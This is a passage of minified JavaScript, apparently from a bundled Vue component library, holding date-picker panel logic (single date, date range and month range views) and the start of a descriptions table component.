Z=yt(O,se.value).locale(u.value);if(Z.isValid()){if(m&&m(Z.toDate()))return;const{hour:Y,minute:$,second:oe}=Le(M.value);M.value=Z.hour(Y).minute($).second(oe),H.value=null,L(M.value,!0)}},Re=O=>yt.isDayjs(O)&&O.isValid()&&(m?!m(O.toDate()):!0),Ne=O=>Ve(O)?O.map(Z=>Z.format(n.format)):O.format(n.format),Se=O=>yt(O,n.format).locale(u.value),Ze=()=>{const O=yt(I.value).locale(u.value);if(!I.value){const Z=R.value;return yt().hour(Z.hour()).minute(Z.minute()).second(Z.second()).locale(u.value)}return O},Q=async()=>{var O;["week","month","year","date"].includes(z.value)&&((O=q.value)==null||O.focus(),z.value==="week"&&V(_e.down))},J=O=>{const{code:Z}=O;[_e.up,_e.down,_e.left,_e.right,_e.home,_e.end,_e.pageUp,_e.pageDown].includes(Z)&&(V(Z),O.stopPropagation(),O.preventDefault()),[_e.enter,_e.space,_e.numpadEnter].includes(Z)&&H.value===null&&P.value===null&&(O.preventDefault(),L(M.value,!1))},V=O=>{var Z;const{up:Y,down:$,left:oe,right:ee,home:ze,end:Te,pageUp:Xe,pageDown:wt}=_e,at={year:{[Y]:-4,[$]:4,[oe]:-1,[ee]:1,offset:(Ht,vt)=>Ht.setFullYear(Ht.getFullYear()+vt)},month:{[Y]:-4,[$]:4,[oe]:-1,[ee]:1,offset:(Ht,vt)=>Ht.setMonth(Ht.getMonth()+vt)},week:{[Y]:-1,[$]:1,[oe]:-1,[ee]:1,offset:(Ht,vt)=>Ht.setDate(Ht.getDate()+vt*7)},date:{[Y]:-7,[$]:7,[oe]:-1,[ee]:1,[ze]:Ht=>-Ht.getDay(),[Te]:Ht=>-Ht.getDay()+6,[Xe]:Ht=>-new Date(Ht.getFullYear(),Ht.getMonth(),0).getDate(),[wt]:Ht=>new Date(Ht.getFullYear(),Ht.getMonth()+1,0).getDate(),offset:(Ht,vt)=>Ht.setDate(Ht.getDate()+vt)}},gt=M.value.toDate();for(;Math.abs(M.value.diff(gt,"year",!0))<1;){const Ht=at[k.value];if(!Ht)return;if(Ht.offset(gt,ot(Ht[O])?Ht[O](gt):(Z=Ht[O])!=null?Z:0),m&&m(gt))break;const vt=yt(gt).locale(u.value);M.value=vt,t("pick",vt,!0);break}},G=O=>{t("panel-change",M.value.toDate(),O,A.value)};return Ce(()=>z.value,O=>{if(["month","year"].includes(O)){A.value=O;return}else if(O==="years"){A.value="year";return}A.value="date"},{immediate:!0}),Ce(()=>A.value,()=>{f==null||f.updatePopper()}),Ce(()=>I.value,O=>{O&&(M.value=Ze())},{immediate:!0}),Ce(()=>n.parsedValue,O=>{if(O){if(z.value==="dates"||z.value==="years"||Array.isArray(O))return;M.value=O}else M.value=Ze()},{immediate:!0}),t("set-picker-option",["isValidValue",Re]),t("set-picker-option",["formatToString",Ne]),t("set-picker-option",["parseUserInput",Se]),t("set-picker-option",["handleFocusPicker",Q]),(O,Z)=>(B(),_("div",{class:F([d(o).b(),d(i).b(),{"has-sidebar":O.$slots.sidebar||d(y),"has-time":d(re)}])},[ne("div",{class:F(d(o).e("body-wrapper"))},[qe(O.$slots,"sidebar",{class:F(d(o).e("sidebar"))}),d(y)?(B(),_("div",{key:0,class:F(d(o).e("sidebar"))},[(B(!0),_(Qe,null,Lt(d(p),(Y,$)=>(B(),_("button",{key:$,type:"button",class:F(d(o).e("shortcut")),onClick:oe=>S(Y)},We(Y.text),11,Pne))),128))],2)):pe("v-if",!0),ne("div",{class:F(d(o).e("body"))},[d(re)?(B(),_("div",{key:0,class:F(d(i).e("time-header"))},[ne("span",{class:F(d(i).e("editor-wrap"))},[ae(d(Gr),{placeholder:d(l)("el.datepicker.selectDate"),"model-value":d(ve),size:"small","validate-event":!1,onInput:Z[0]||(Z[0]=Y=>H.value=Y),onChange:xe},null,8,["placeholder","model-value"])],2),ft((B(),_("span",{class:F(d(i).e("editor-wrap"))},[ae(d(Gr),{placeholder:d(l)("el.datepicker.selectTime"),"model-value":d(ue),size:"small","validate-event":!1,onFocus:me,onInput:Z[1]||(Z[1]=Y=>P.value=Y),onChange:be},null,8,["placeholder","model-value"]),ae(d(Rp),{visible:ke.value,format:d(Me),"parsed-value":M.value,onPick:Ae},null,8,["visible","format","parsed-value"])],2)),[[d(Is),Ee]])],2)):pe("v-if",!0),ft(ne("div",{class:F([d(i).e("header"),(A.value==="year"||A.value==="month")&&d(i).e("header--bordered")])},[ne("span",{class:F(d(i).e("prev-btn"))},[ne("button",{type:"button","aria-label":d(l)("el.datepicker.prevYear"),class:F(["d-arrow-left",d(o).e("icon-btn")]),onClick:Z[2]||(Z[2]=Y=>w(!1))},[ae(d(Pe),null,{default:fe(()=>[ae(d($u))]),_:1})],10,Dne),ft(ne("button",{type:"button","aria-label":d(l)("el.datepicker.prevMonth"),class:F([d(o).e("icon-btn"),"arrow-left"]),onClick:Z[3]||(Z[3]=Y=>b(!1))},[ae(d(Pe),null,{default:fe(()=>[ae(d(va))]),_:1})],10,Xne),[[_t,A.value==="date"]])],2),ne("span",{role:"button",class:F(d(i).e("header-label")),"aria-live":"polite",tabindex:"0",onKeydown:Z[4]||(Z[4]=un(Y=>le("year"),["enter"])),onClick:Z[5]||(Z[5]=Y=>le("year"))},We(d(C)),35),ft(ne("span",{role:"button","aria-live":"polite",tabindex:"0",class:F([d(i).e("header-label"),{active:A.value==="month"}]),onKeydown:Z[6]||(Z[6]=un(Y=>le("month"),["enter"])),onClick:Z[7]||(Z[7]=Y=>le("month"))},We(d(l)(`el.datepicker.month${d(K)+1}`)),35),[[_t,A.value==="date"]]),ne("span",{class:F(d(i).e("next-btn"))},[ft(ne("button",{type:"button","aria-label":d(l)("el.datepicker.nextMonth"),class:F([d(o).e("icon-btn"),"arrow-right"]),onClick:Z[8]||(Z[8]=Y=>b(!0))},[ae(d(Pe),null,{default:fe(()=>[ae(d(Xr))]),_:1})],10,Qne),[[_t,A.value==="date"]]),ne("button",{type:"button","aria-label":d(l)("el.datepicker.nextYear"),class:F([d(o).e("icon-btn"),"d-arrow-right"]),onClick:Z[9]||(Z[9]=Y=>w(!0))},[ae(d(Pe),null,{default:fe(()=>[ae(d(ec))]),_:1})],10,_ne)],2)],2),[[_t,A.value!=="time"]]),ne("div",{class:F(d(o).e("content")),onKeydown:J},[A.value==="date"?(B(),ye(fy,{key:0,ref_key:"currentViewRef",ref:q,"selection-mode":d(z),date:M.value,"parsed-value":O.parsedValue,"disabled-date":d(m),"cell-class-name":d(g),onPick:h},null,8,["selection-mode","date","parsed-value","disabled-date","cell-class-name"])):pe("v-if",!0),A.value==="year"?(B(),ye(Hne,{key:1,ref_key:"currentViewRef",ref:q,"selection-mode":d(z),date:M.value,"disabled-date":d(m),"parsed-value":O.parsedValue,onPick:te},null,8,["selection-mode","date","disabled-date","parsed-value"])):pe("v-if",!0),A.value==="month"?(B(),ye(hy,{key:2,ref_key:"currentViewRef",ref:q,date:M.value,"parsed-value":O.parsedValue,"disabled-date":d(m),onPick:T},null,8,["date","parsed-value","disabled-date"])):pe("v-if",!0)],34)],2)],2),ft(ne("div",{class:F(d(o).e("footer"))},[ft(ae(d(dr),{text:"",size:"small",class:F(d(o).e("link-btn")),disabled:d(Ie),onClick:ge},{default:fe(()=>[Kt(We(d(l)("el.datepicker.now")),1)]),_:1},8,["class","disabled"]),[[_t,d(z)!=="dates"&&d(z)!=="years"]]),ae(d(dr),{plain:"",size:"small",class:F(d(o).e("link-btn")),disabled:d(ce),onClick:we},{default:fe(()=>[Kt(We(d(l)("el.datepicker.confirm")),1)]),_:1},8,["class","disabled"])],2),[[_t,d(de)]])],2))}});var ere=Ye($ne,[["__file","panel-date-pick.vue"]]);const tre=Ge({...nx,...rx}),nre=e=>{const{emit:t}=bt(),n=Nl(),r=pr();return i=>{const s=ot(i.value)?i.value():i.value;if(s){t("pick",[yt(s[0]).locale(e.value),yt(s[1]).locale(e.value)]);return}i.onClick&&i.onClick({attrs:n,slots:r,emit:t})}},ix=(e,{defaultValue:t,leftDate:n,rightDate:r,unit:o,onParsedValueChanged:i})=>{const{emit:s}=bt(),{pickerNs:a}=Fe(mI),l=Oe("date-range-picker"),{t:u,lang:c}=Vt(),f=nre(c),p=D(),m=D(),g=D({endDate:null,selecting:!1}),v=E=>{g.value=E},I=(E=!1)=>{const x=d(p),R=d(m);cy([x,R])&&s("pick",[x,R],E)},q=E=>{g.value.selecting=E,E||(g.value.endDate=null)},M=()=>{const[E,x]=ox(d(t),{lang:d(c),unit:o,unlinkPanels:e.unlinkPanels});p.value=void 0,m.value=void 0,n.value=E,r.value=x};return Ce(t,E=>{E&&M()},{immediate:!0}),Ce(()=>e.parsedValue,E=>{if(Ve(E)&&E.length===2){const[x,R]=E;p.value=x,n.value=x,m.value=R,i(d(p),d(m))}else M()},{immediate:!0}),{minDate:p,maxDate:m,rangeState:g,lang:c,ppNs:a,drpNs:l,handleChangeRange:v,handleRangeConfirm:I,handleShortcutClick:f,onSelect:q,t:u}},rre=["onClick"],ore=["aria-label"],ire=["aria-label"],sre=["disabled","aria-label"],are=["disabled","aria-label"],lre=["disabled","aria-label"],ure=["disabled","aria-label"],cre=["aria-label"],dre=["aria-label"],Xf="month",fre=ie({__name:"panel-date-range",props:tre,emits:["pick","set-picker-option","calendar-change","panel-change"],setup(e,{emit:t}){const n=e,r=Fe("EP_PICKER_BASE"),{disabledDate:o,cellClassName:i,format:s,defaultTime:a,clearable:l}=r.props,u=hn(r.props,"shortcuts"),c=hn(r.props,"defaultValue"),{lang:f}=Vt(),p=D(yt().locale(f.value)),m=D(yt().locale(f.value).add(1,Xf)),{minDate:g,maxDate:v,rangeState:I,ppNs:q,drpNs:M,handleChangeRange:E,handleRangeConfirm:x,handleShortcutClick:R,onSelect:K,t:W}=ix(n,{defaultValue:c,leftDate:p,rightDate:m,unit:Xf,onParsedValueChanged:Z}),j=D({min:null,max:null}),H=D({min:null,max:null}),P=N(()=>`${p.value.year()} ${W("el.datepicker.year")} ${W(`el.datepicker.month${p.value.month()+1}`)}`),U=N(()=>`${m.value.year()} ${W("el.datepicker.year")} ${W(`el.datepicker.month${m.value.month()+1}`)}`),X=N(()=>p.value.year()),L=N(()=>p.value.month()),h=N(()=>m.value.year()),b=N(()=>m.value.month()),w=N(()=>!!u.value.length),A=N(()=>j.value.min!==null?j.value.min:g.value?g.value.format(y.value):""),C=N(()=>j.value.max!==null?j.value.max:v.value||g.value?(v.value||g.value).format(y.value):""),S=N(()=>H.value.min!==null?H.value.min:g.value?g.value.format(k.value):""),z=N(()=>H.value.max!==null?H.value.max:v.value||g.value?(v.value||g.value).format(k.value):""),k=N(()=>n.timeFormat||lk(s)),y=N(()=>n.dateFormat||ak(s)),T=Y=>cy(Y)&&(o?!o(Y[0].toDate())&&!o(Y[1].toDate()):!0),te=()=>{p.value=p.value.subtract(1,"year"),n.unlinkPanels||(m.value=p.value.add(1,"month")),Me("year")},le=()=>{p.value=p.value.subtract(1,"month"),n.unlinkPanels||(m.value=p.value.add(1,"month")),Me("month")},re=()=>{n.unlinkPanels?m.value=m.value.add(1,"year"):(p.value=p.value.add(1,"year"),m.value=p.value.add(1,"month")),Me("year")},de=()=>{n.unlinkPanels?m.value=m.value.add(1,"month"):(p.value=p.value.add(1,"month"),m.value=p.value.add(1,"month")),Me("month")},ce=()=>{p.value=p.value.add(1,"year"),Me("year")},we=()=>{p.value=p.value.add(1,"month"),Me("month")},Ie=()=>{m.value=m.value.subtract(1,"year"),Me("year")},ge=()=>{m.value=m.value.subtract(1,"month"),Me("month")},Me=Y=>{t("panel-change",[p.value.toDate(),m.value.toDate()],Y)},se=N(()=>{const Y=(L.value+1)%12,$=L.value+1>=12?1:0;return n.unlinkPanels&&new Date(X.value+$,Y)<new Date(h.value,b.value)}),ue=N(()=>n.unlinkPanels&&h.value*12+b.value-(X.value*12+L.value+1)>=12),ve=N(()=>!(g.value&&v.value&&!I.value.selecting&&cy([g.value,v.value]))),ke=N(()=>n.type==="datetime"||n.type==="datetimerange"),me=(Y,$)=>{if(Y)return a?yt(a[$]||a).locale(f.value).year(Y.year()).month(Y.month()).date(Y.date()):Y},Ee=(Y,$=!0)=>{const oe=Y.minDate,ee=Y.maxDate,ze=me(oe,0),Te=me(ee,1);v.value===Te&&g.value===ze||(t("calendar-change",[oe.toDate(),ee&&ee.toDate()]),v.value=Te,g.value=ze,!(!$||ke.value)&&x())},Le=D(!1),Ae=D(!1),be=()=>{Le.value=!1},xe=()=>{Ae.value=!1},Re=(Y,$)=>{j.value[$]=Y;const oe=yt(Y,y.value).locale(f.value);if(oe.isValid()){if(o&&o(oe.toDate()))return;$==="min"?(p.value=oe,g.value=(g.value||p.value).year(oe.year()).month(oe.month()).date(oe.date()),!n.unlinkPanels&&(!v.value||v.value.isBefore(g.value))&&(m.value=oe.add(1,"month"),v.value=g.value.add(1,"month"))):(m.value=oe,v.value=(v.value||m.value).year(oe.year()).month(oe.month()).date(oe.date()),!n.unlinkPanels&&(!g.value||g.value.isAfter(v.value))&&(p.value=oe.subtract(1,"month"),g.value=v.value.subtract(1,"month")))}},Ne=(Y,$)=>{j.value[$]=null},Se=(Y,$)=>{H.value[$]=Y;const oe=yt(Y,k.value).locale(f.value);oe.isValid()&&($==="min"?(Le.value=!0,g.value=(g.value||p.value).hour(oe.hour()).minute(oe.minute()).second(oe.second()),(!v.value||v.value.isBefore(g.value))&&(v.value=g.value)):(Ae.value=!0,v.value=(v.value||m.value).hour(oe.hour()).minute(oe.minute()).second(oe.second()),m.value=v.value,v.value&&v.value.isBefore(g.value)&&(g.value=v.value)))},Ze=(Y,$)=>{H.value[$]=null,$==="min"?(p.value=g.value,Le.value=!1):(m.value=v.value,Ae.value=!1)},Q=(Y,$,oe)=>{H.value.min||(Y&&(p.value=Y,g.value=(g.value||p.value).hour(Y.hour()).minute(Y.minute()).second(Y.second())),oe||(Le.value=$),(!v.value||v.value.isBefore(g.value))&&(v.value=g.value,m.value=Y))},J=(Y,$,oe)=>{H.value.max||(Y&&(m.value=Y,v.value=(v.value||m.value).hour(Y.hour()).minute(Y.minute()).second(Y.second())),oe||(Ae.value=$),v.value&&v.value.isBefore(g.value)&&(g.value=v.value))},V=()=>{p.value=ox(d(c),{lang:d(f),unit:"month",unlinkPanels:n.unlinkPanels})[0],m.value=p.value.add(1,"month"),v.value=void 0,g.value=void 0,t("pick",null)},G=Y=>Ve(Y)?Y.map($=>$.format(s)):Y.format(s),O=Y=>Ve(Y)?Y.map($=>yt($,s).locale(f.value)):yt(Y,s).locale(f.value);function Z(Y,$){if(n.unlinkPanels&&$){const oe=(Y==null?void 0:Y.year())||0,ee=(Y==null?void 0:Y.month())||0,ze=$.year(),Te=$.month();m.value=oe===ze&&ee===Te?$.add(1,Xf):$}else m.value=p.value.add(1,Xf),$&&(m.value=m.value.hour($.hour()).minute($.minute()).second($.second()))}return t("set-picker-option",["isValidValue",T]),t("set-picker-option",["parseUserInput",O]),t("set-picker-option",["formatToString",G]),t("set-picker-option",["handleClear",V]),(Y,$)=>(B(),_("div",{class:F([d(q).b(),d(M).b(),{"has-sidebar":Y.$slots.sidebar||d(w),"has-time":d(ke)}])},[ne("div",{class:F(d(q).e("body-wrapper"))},[qe(Y.$slots,"sidebar",{class:F(d(q).e("sidebar"))}),d(w)?(B(),_("div",{key:0,class:F(d(q).e("sidebar"))},[(B(!0),_(Qe,null,Lt(d(u),(oe,ee)=>(B(),_("button",{key:ee,type:"button",class:F(d(q).e("shortcut")),onClick:ze=>d(R)(oe)},We(oe.text),11,rre))),128))],2)):pe("v-if",!0),ne("div",{class:F(d(q).e("body"))},[d(ke)?(B(),_("div",{key:0,class:F(d(M).e("time-header"))},[ne("span",{class:F(d(M).e("editors-wrap"))},[ne("span",{class:F(d(M).e("time-picker-wrap"))},[ae(d(Gr),{size:"small",disabled:d(I).selecting,placeholder:d(W)("el.datepicker.startDate"),class:F(d(M).e("editor")),"model-value":d(A),"validate-event":!1,onInput:$[0]||($[0]=oe=>Re(oe,"min")),onChange:$[1]||($[1]=oe=>Ne(oe,"min"))},null,8,["disabled","placeholder","class","model-value"])],2),ft((B(),_("span",{class:F(d(M).e("time-picker-wrap"))},[ae(d(Gr),{size:"small",class:F(d(M).e("editor")),disabled:d(I).selecting,placeholder:d(W)("el.datepicker.startTime"),"model-value":d(S),"validate-event":!1,onFocus:$[2]||($[2]=oe=>Le.value=!0),onInput:$[3]||($[3]=oe=>Se(oe,"min")),onChange:$[4]||($[4]=oe=>Ze(oe,"min"))},null,8,["class","disabled","placeholder","model-value"]),ae(d(Rp),{visible:Le.value,format:d(k),"datetime-role":"start","parsed-value":p.value,onPick:Q},null,8,["visible","format","parsed-value"])],2)),[[d(Is),be]])],2),ne("span",null,[ae(d(Pe),null,{default:fe(()=>[ae(d(Xr))]),_:1})]),ne("span",{class:F([d(M).e("editors-wrap"),"is-right"])},[ne("span",{class:F(d(M).e("time-picker-wrap"))},[ae(d(Gr),{size:"small",class:F(d(M).e("editor")),disabled:d(I).selecting,placeholder:d(W)("el.datepicker.endDate"),"model-value":d(C),readonly:!d(g),"validate-event":!1,onInput:$[5]||($[5]=oe=>Re(oe,"max")),onChange:$[6]||($[6]=oe=>Ne(oe,"max"))},null,8,["class","disabled","placeholder","model-value","readonly"])],2),ft((B(),_("span",{class:F(d(M).e("time-picker-wrap"))},[ae(d(Gr),{size:"small",class:F(d(M).e("editor")),disabled:d(I).selecting,placeholder:d(W)("el.datepicker.endTime"),"model-value":d(z),readonly:!d(g),"validate-event":!1,onFocus:$[7]||($[7]=oe=>d(g)&&(Ae.value=!0)),onInput:$[8]||($[8]=oe=>Se(oe,"max")),onChange:$[9]||($[9]=oe=>Ze(oe,"max"))},null,8,["class","disabled","placeholder","model-value","readonly"]),ae(d(Rp),{"datetime-role":"end",visible:Ae.value,format:d(k),"parsed-value":m.value,onPick:J},null,8,["visible","format","parsed-value"])],2)),[[d(Is),xe]])],2)],2)):pe("v-if",!0),ne("div",{class:F([[d(q).e("content"),d(M).e("content")],"is-left"])},[ne("div",{class:F(d(M).e("header"))},[ne("button",{type:"button",class:F([d(q).e("icon-btn"),"d-arrow-left"]),"aria-label":d(W)("el.datepicker.prevYear"),onClick:te},[ae(d(Pe),null,{default:fe(()=>[ae(d($u))]),_:1})],10,ore),ne("button",{type:"button",class:F([d(q).e("icon-btn"),"arrow-left"]),"aria-label":d(W)("el.datepicker.prevMonth"),onClick:le},[ae(d(Pe),null,{default:fe(()=>[ae(d(va))]),_:1})],10,ire),Y.unlinkPanels?(B(),_("button",{key:0,type:"button",disabled:!d(ue),class:F([[d(q).e("icon-btn"),{"is-disabled":!d(ue)}],"d-arrow-right"]),"aria-label":d(W)("el.datepicker.nextYear"),onClick:ce},[ae(d(Pe),null,{default:fe(()=>[ae(d(ec))]),_:1})],10,sre)):pe("v-if",!0),Y.unlinkPanels?(B(),_("button",{key:1,type:"button",disabled:!d(se),class:F([[d(q).e("icon-btn"),{"is-disabled":!d(se)}],"arrow-right"]),"aria-label":d(W)("el.datepicker.nextMonth"),onClick:we},[ae(d(Pe),null,{default:fe(()=>[ae(d(Xr))]),_:1})],10,are)):pe("v-if",!0),ne("div",null,We(d(P)),1)],2),ae(fy,{"selection-mode":"range",date:p.value,"min-date":d(g),"max-date":d(v),"range-state":d(I),"disabled-date":d(o),"cell-class-name":d(i),onChangerange:d(E),onPick:Ee,onSelect:d(K)},null,8,["date","min-date","max-date","range-state","disabled-date","cell-class-name","onChangerange","onSelect"])],2),ne("div",{class:F([[d(q).e("content"),d(M).e("content")],"is-right"])},[ne("div",{class:F(d(M).e("header"))},[Y.unlinkPanels?(B(),_("button",{key:0,type:"button",disabled:!d(ue),class:F([[d(q).e("icon-btn"),{"is-disabled":!d(ue)}],"d-arrow-left"]),"aria-label":d(W)("el.datepicker.prevYear"),onClick:Ie},[ae(d(Pe),null,{default:fe(()=>[ae(d($u))]),_:1})],10,lre)):pe("v-if",!0),Y.unlinkPanels?(B(),_("button",{key:1,type:"button",disabled:!d(se),class:F([[d(q).e("icon-btn"),{"is-disabled":!d(se)}],"arrow-left"]),"aria-label":d(W)("el.datepicker.prevMonth"),onClick:ge},[ae(d(Pe),null,{default:fe(()=>[ae(d(va))]),_:1})],10,ure)):pe("v-if",!0),ne("button",{type:"button","aria-label":d(W)("el.datepicker.nextYear"),class:F([d(q).e("icon-btn"),"d-arrow-right"]),onClick:re},[ae(d(Pe),null,{default:fe(()=>[ae(d(ec))]),_:1})],10,cre),ne("button",{type:"button",class:F([d(q).e("icon-btn"),"arrow-right"]),"aria-label":d(W)("el.datepicker.nextMonth"),onClick:de},[ae(d(Pe),null,{default:fe(()=>[ae(d(Xr))]),_:1})],10,dre),ne("div",null,We(d(U)),1)],2),ae(fy,{"selection-mode":"range",date:m.value,"min-date":d(g),"max-date":d(v),"range-state":d(I),"disabled-date":d(o),"cell-class-name":d(i),onChangerange:d(E),onPick:Ee,onSelect:d(K)},null,8,["date","min-date","max-date","range-state","disabled-date","cell-class-name","onChangerange","onSelect"])],2)],2)],2),d(ke)?(B(),_("div",{key:0,class:F(d(q).e("footer"))},[d(l)?(B(),ye(d(dr),{key:0,text:"",size:"small",class:F(d(q).e("link-btn")),onClick:V},{default:fe(()=>[Kt(We(d(W)("el.datepicker.clear")),1)]),_:1},8,["class"])):pe("v-if",!0),ae(d(dr),{plain:"",size:"small",class:F(d(q).e("link-btn")),disabled:d(ve),onClick:$[10]||($[10]=oe=>d(x)(!1))},{default:fe(()=>[Kt(We(d(W)("el.datepicker.confirm")),1)]),_:1},8,["class","disabled"])],2)):pe("v-if",!0)],2))}});var hre=Ye(fre,[["__file","panel-date-range.vue"]]);const pre=Ge({...rx}),mre=["pick","set-picker-option","calendar-change"],vre=({unlinkPanels:e,leftDate:t,rightDate:n})=>{const{t:r}=Vt(),o=()=>{t.value=t.value.subtract(1,"year"),e.value||(n.value=n.value.subtract(1,"year"))},i=()=>{e.value||(t.value=t.value.add(1,"year")),n.value=n.value.add(1,"year")},s=()=>{t.value=t.value.add(1,"year")},a=()=>{n.value=n.value.subtract(1,"year")},l=N(()=>`${t.value.year()} ${r("el.datepicker.year")}`),u=N(()=>`${n.value.year()} ${r("el.datepicker.year")}`),c=N(()=>t.value.year()),f=N(()=>n.value.year()===t.value.year()?t.value.year()+1:n.value.year());return{leftPrevYear:o,rightNextYear:i,leftNextYear:s,rightPrevYear:a,leftLabel:l,rightLabel:u,leftYear:c,rightYear:f}},gre=["onClick"],yre=["disabled"],bre=["disabled"],Qf="year",Ire=ie({name:"DatePickerMonthRange"}),qre=ie({...Ire,props:pre,emits:mre,setup(e,{emit:t}){const n=e,{lang:r}=Vt(),o=Fe("EP_PICKER_BASE"),{shortcuts:i,disabledDate:s,format:a}=o.props,l=hn(o.props,"defaultValue"),u=D(yt().locale(r.value)),c=D(yt().locale(r.value).add(1,Qf)),{minDate:f,maxDate:p,rangeState:m,ppNs:g,drpNs:v,handleChangeRange:I,handleRangeConfirm:q,handleShortcutClick:M,onSelect:E}=ix(n,{defaultValue:l,leftDate:u,rightDate:c,unit:Qf,onParsedValueChanged:w}),x=N(()=>!!i.length),{leftPrevYear:R,rightNextYear:K,leftNextYear:W,rightPrevYear:j,leftLabel:H,rightLabel:P,leftYear:U,rightYear:X}=vre({unlinkPanels:hn(n,"unlinkPanels"),leftDate:u,rightDate:c}),L=N(()=>n.unlinkPanels&&X.value>U.value+1),h=(A,C=!0)=>{const S=A.minDate,z=A.maxDate;p.value===z&&f.value===S||(t("calendar-change",[S.toDate(),z&&z.toDate()]),p.value=z,f.value=S,C&&q())},b=A=>A.map(C=>C.format(a));function w(A,C){if(n.unlinkPanels&&C){const S=(A==null?void 0:A.year())||0,z=C.year();c.value=S===z?C.add(1,Qf):C}else c.value=u.value.add(1,Qf)}return t("set-picker-option",["formatToString",b]),(A,C)=>(B(),_("div",{class:F([d(g).b(),d(v).b(),{"has-sidebar":!!A.$slots.sidebar||d(x)}])},[ne("div",{class:F(d(g).e("body-wrapper"))},[qe(A.$slots,"sidebar",{class:F(d(g).e("sidebar"))}),d(x)?(B(),_("div",{key:0,class:F(d(g).e("sidebar"))},[(B(!0),_(Qe,null,Lt(d(i),(S,z)=>(B(),_("button",{key:z,type:"button",class:F(d(g).e("shortcut")),onClick:k=>d(M)(S)},We(S.text),11,gre))),128))],2)):pe("v-if",!0),ne("div",{class:F(d(g).e("body"))},[ne("div",{class:F([[d(g).e("content"),d(v).e("content")],"is-left"])},[ne("div",{class:F(d(v).e("header"))},[ne("button",{type:"button",class:F([d(g).e("icon-btn"),"d-arrow-left"]),onClick:C[0]||(C[0]=(...S)=>d(R)&&d(R)(...S))},[ae(d(Pe),null,{default:fe(()=>[ae(d($u))]),_:1})],2),A.unlinkPanels?(B(),_("button",{key:0,type:"button",disabled:!d(L),class:F([[d(g).e("icon-btn"),{[d(g).is("disabled")]:!d(L)}],"d-arrow-right"]),onClick:C[1]||(C[1]=(...S)=>d(W)&&d(W)(...S))},[ae(d(Pe),null,{default:fe(()=>[ae(d(ec))]),_:1})],10,yre)):pe("v-if",!0),ne("div",null,We(d(H)),1)],2),ae(hy,{"selection-mode":"range",date:u.value,"min-date":d(f),"max-date":d(p),"range-state":d(m),"disabled-date":d(s),onChangerange:d(I),onPick:h,onSelect:d(E)},null,8,["date","min-date","max-date","range-state","disabled-date","onChangerange","onSelect"])],2),ne("div",{class:F([[d(g).e("content"),d(v).e("content")],"is-right"])},[ne("div",{class:F(d(v).e("header"))},[A.unlinkPanels?(B(),_("button",{key:0,type:"button",disabled:!d(L),class:F([[d(g).e("icon-btn"),{"is-disabled":!d(L)}],"d-arrow-left"]),onClick:C[2]||(C[2]=(...S)=>d(j)&&d(j)(...S))},[ae(d(Pe),null,{default:fe(()=>[ae(d($u))]),_:1})],10,bre)):pe("v-if",!0),ne("button",{type:"button",class:F([d(g).e("icon-btn"),"d-arrow-right"]),onClick:C[3]||(C[3]=(...S)=>d(K)&&d(K)(...S))},[ae(d(Pe),null,{default:fe(()=>[ae(d(ec))]),_:1})],2),ne("div",null,We(d(P)),1)],2),ae(hy,{"selection-mode":"range",date:c.value,"min-date":d(f),"max-date":d(p),"range-state":d(m),"disabled-date":d(s),onChangerange:d(I),onPick:h,onSelect:d(E)},null,8,["date","min-date","max-date","range-state","disabled-date","onChangerange","onSelect"])],2)],2)],2)],2))}});var wre=Ye(qre,[["__file","panel-month-range.vue"]]);const Sre=function(e){switch(e){case"daterange":case"datetimerange":return hre;case"monthrange":return wre;default:return ere}};yt.extend(Ek);yt.extend(ane);yt.extend(fI);yt.extend(une);yt.extend(dne);yt.extend(hne);yt.extend(mne);yt.extend(gne);var Ere=ie({name:"ElDatePicker",install:null,props:yne,emits:["update:modelValue"],setup(e,{expose:t,emit:n,slots:r}){const o=Oe("picker-panel");Ot("ElPopperOptions",$t(hn(e,"popperOptions"))),Ot(mI,{slots:r,pickerNs:o});const i=D();t({focus:(l=!0)=>{var u;(u=i.value)==null||u.focus(l)},handleOpen:()=>{var l;(l=i.value)==null||l.handleOpen()},handleClose:()=>{var l;(l=i.value)==null||l.handleClose()}});const a=l=>{n("update:modelValue",l)};return()=>{var l;const u=(l=e.format)!=null?l:_Q[e.type]||mu,c=Sre(e.type);return ae(dk,xt(e,{format:u,type:e.type,ref:i,"onUpdate:modelValue":a}),{default:f=>ae(c,f,null),"range-separator":r["range-separator"]})}}});const Nh=Ere;Nh.install=e=>{e.component(Nh.name,Nh)};const Are=Nh,yI=Symbol("elDescriptions");var Rc=ie({name:"ElDescriptionsCell",props:{cell:{type:Object},tag:{type:String,default:"td"},type:{type:String}},setup(){return{descriptions:Fe(yI,{})}},render(){var e,t,n,r,o,i,s;const a=dH(this.cell),l=(((e=this.cell)==null?void 0:e.dirs)||[]).map(R=>{const{dir:K,arg:W,modifiers:j,value:H}=R;return[K,H,W,j]}),{border:u,direction:c}=this.descriptions,f=c==="vertical",p=((r=(n=(t=this.cell)==null?void 0:t.children)==null?void 0:n.label)==null?void 0:r.call(n))||a.label,m=(s=(i=(o=this.cell)==null?void 0:o.children)==null?void 0:i.default)==null?void 0:s.call(i),g=a.span,v=a.align?`is-${a.align}`:"",I=a.labelAlign?`is-${a.labelAlign}`:v,q=a.className,M=a.labelClassName,E={width:Yn(a.width),minWidth:Yn(a.minWidth)},x=Oe("descriptions");switch(this.type){case"label":return ft(tt(this.tag,{style:E,class:[x.e("cell"),x.e("label"),x.is("bordered-label",u),x.is("vertical-label",f),I,M],colSpan:f?g:1},p),l);case"content":return ft(tt(this.tag,{style:E,class:[x.e("cell"),x.e("content"),x.is("bordered-content",u),x.is("vertical-content",f),v,q],colSpan:f?g:g*2-1},m),l);default:return ft(tt("td",{style:E,class:[x.e("cell"),v],colSpan:g},[$n(p)?void 0:tt("span",{class:[x.e("label"),M]},p),tt("span",{class:[x.e("content"),q]},m)]),l)}}});const Mre=Ge({row:{type:he(Array),default:()=>[]}}),Cre={key:1},kre=ie({name:"ElDescriptionsRow"}),xre=ie({...kre,props:Mre,setup(e){const 